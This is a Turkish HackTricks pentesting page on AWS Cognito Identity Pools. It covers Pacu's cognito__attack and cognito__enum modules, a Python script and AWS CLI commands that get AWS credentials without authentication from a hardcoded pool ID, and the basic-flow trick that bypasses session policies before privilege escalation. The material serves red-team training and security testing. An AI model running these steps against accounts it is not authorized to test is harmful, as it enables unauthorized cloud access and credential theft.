Cognito Identity Pools

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Kimlik havuzları, kullanıcılarınızın geçici kimlik bilgileri edinmesini sağlayarak önemli bir rol oynar. Bu kimlik bilgileri, Amazon S3 ve DynamoDB dahil olmak üzere çeşitli AWS hizmetlerine erişim için gereklidir. Kimlik havuzlarının dikkat çekici bir özelliği, hem anonim misafir kullanıcıları hem de kullanıcı kimlik doğrulaması için çeşitli kimlik sağlayıcılarını desteklemeleridir. Desteklenen kimlik sağlayıcıları şunlardır:

  • Amazon Cognito kullanıcı havuzları
  • Facebook, Google, Amazon ile Giriş ve Apple ile Giriş gibi sosyal oturum açma seçenekleri
  • OpenID Connect (OIDC) ile uyumlu sağlayıcılar
  • SAML (Güvenlik İddia İşaretleme Dili) kimlik sağlayıcıları
  • Geliştirici tarafından kimlik doğrulanan kimlikler
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Kimlik Havuzu oturumları oluşturmak için önce bir Kimlik ID’si oluşturmanız gerekir. Bu Kimlik ID’si, o kullanıcının oturumunun tanımlayıcısıdır. Bu tanımlayıcılar, 1MB’a kadar anahtar-değer çiftleri depolayabilen 20’ye kadar veri kümesine sahip olabilir.

Bu, bir kullanıcının bilgilerini saklamak için faydalıdır (her zaman aynı Kimlik ID’sini kullanacak olan).

Ayrıca, cognito-sync servisi, bu bilgileri yönetmek ve senkronize etmek için kullanılan servistir (veri kümelerinde, akışlarda ve SNS mesajlarında bilgi gönderme…).

Pentesting için Araçlar

  • Pacu, AWS istismar çerçevesi, artık bir hesapta tüm Cognito varlıklarının sayımını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı niteliklerini vb. işaret eden “cognito__enum” ve “cognito__attack” modüllerini içermektedir. Ayrıca, kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel niteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token’larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştirir.

Modüllerin işlevlerinin açıklaması için blog yazısının 2. kısmına bakın. Kurulum talimatları için ana Pacu sayfasına bakın.

Kullanım

Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi karşısında kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek cognito__attack kullanımı:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Örnek cognito__enum kullanımı, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner, istenmeyen hesap oluşturma ve kimlik havuzu yükseltme dahil olmak üzere Cognito’ya farklı saldırılar uygulayan bir Python CLI aracıdır.

Kurulum

$ pip install cognito-scanner

Kullanım

$ cognito-scanner --help

Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini kontrol edin.

IAM Rollere Erişim

Kimlik Doğrulaması Olmadan

Bir saldırganın, kimlik doğrulaması yapılmamış bir kullanıcı olarak bir Cognito uygulamasında AWS kimlik bilgilerini almak için bilmesi gereken tek şey Identity Pool ID’dir ve bu ID, web/mobil uygulamada sabit kodlanmış olmalıdır. Bir ID şu şekilde görünür: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (bruteforce edilemez).

Tip

IAM Cognito kimlik doğrulaması yapılmamış rolü varsayılan olarak Cognito_<Identity Pool name>Unauth_Role olarak adlandırılır.

Eğer sabit kodlanmış bir Identity Pools ID bulursanız ve bu kimlik doğrulaması yapılmamış kullanıcılara izin veriyorsa, AWS kimlik bilgilerini şu şekilde alabilirsiniz:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ya da aşağıdaki aws cli komutlarını kullanabilirsiniz:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Warning

Varsayılan olarak, kimlik doğrulaması yapılmamış bir cognito kullanıcısının hiçbir izni OLAMAZ, hatta bir politika aracılığıyla atanmış olsa bile. Aşağıdaki bölümü kontrol edin.

Gelişmiş vs Temel Kimlik Doğrulama Akışı

Önceki bölüm varsayılan gelişmiş kimlik doğrulama akışını takip etti. Bu akış, oluşturulan IAM rol oturumu için kısıtlayıcı oturum politikası belirler. Bu politika, oturumun yalnızca bu listedeki hizmetleri kullanmasına izin verecektir (rolün diğer hizmetlere erişimi olsa bile).

Ancak, eğer Kimlik havuzu “Temel (Klasik) Akış” etkinse, kullanıcı o akışı kullanarak bir oturum alabilecektir ve bu oturum o kısıtlayıcı oturum politikasına sahip olmayacaktır.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Warning

Eğer bu hata ile karşılaşırsanız, bunun nedeni temel akışın etkin olmamasıdır (varsayılan)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Bir dizi IAM kimlik bilgisine sahip olduğunuzda, hangi erişime sahip olduğunuzu kontrol etmelisiniz ve yetkileri yükseltmeye çalışmalısınız.

Kimlik Doğrulanmış

Note

Kimlik doğrulanmış kullanıcıların muhtemelen farklı izinler alacağını unutmayın, bu nedenle eğer uygulama içinde kaydolabiliyorsanız, bunu deneyin ve yeni kimlik bilgilerini alın.

Kimlik Havuzuna erişen kimlik doğrulanmış kullanıcılar için de roller mevcut olabilir.

Bunun için kimlik sağlayıcısına erişiminiz olması gerekebilir. Eğer bu bir Cognito Kullanıcı Havuzu ise, belki varsayılan davranışı kötüye kullanarak kendiniz yeni bir kullanıcı oluşturabilirsiniz.

Tip

IAM Cognito kimlik doğrulanmış rolü varsayılan olarak Cognito_<Identity Pool name>Auth_Role olarak adlandırılır.

Her durumda, aşağıdaki örnek, Kimlik Havuzuna erişmek için kullanılan bir Cognito Kullanıcı Havuzuna zaten giriş yaptığınızı varsayıyor (diğer türdeki kimlik sağlayıcılarının da yapılandırılabileceğini unutmayın).


# Güncellenmiş format
aws cognito-identity get-id \
--identity-pool-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

Kullanımdan kaldırılmış format — bunlar mevcut AWS CLI ile artık çalışmayabilir:


aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins cognito-idp..amazonaws.com/=

Warning

Kullanıcının giriş yaptığı kimlik sağlayıcıya veya sadece kullanıcıya (iddialar kullanılarak) bağlı olarak farklı IAM rollerinin yapılandırılması mümkündür. Bu nedenle, eğer aynı veya farklı sağlayıcılar aracılığıyla farklı kullanıcılara erişiminiz varsa, giriş yapmanın ve hepsinin IAM rollerine erişmenin faydalı olabileceğini unutmayın.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin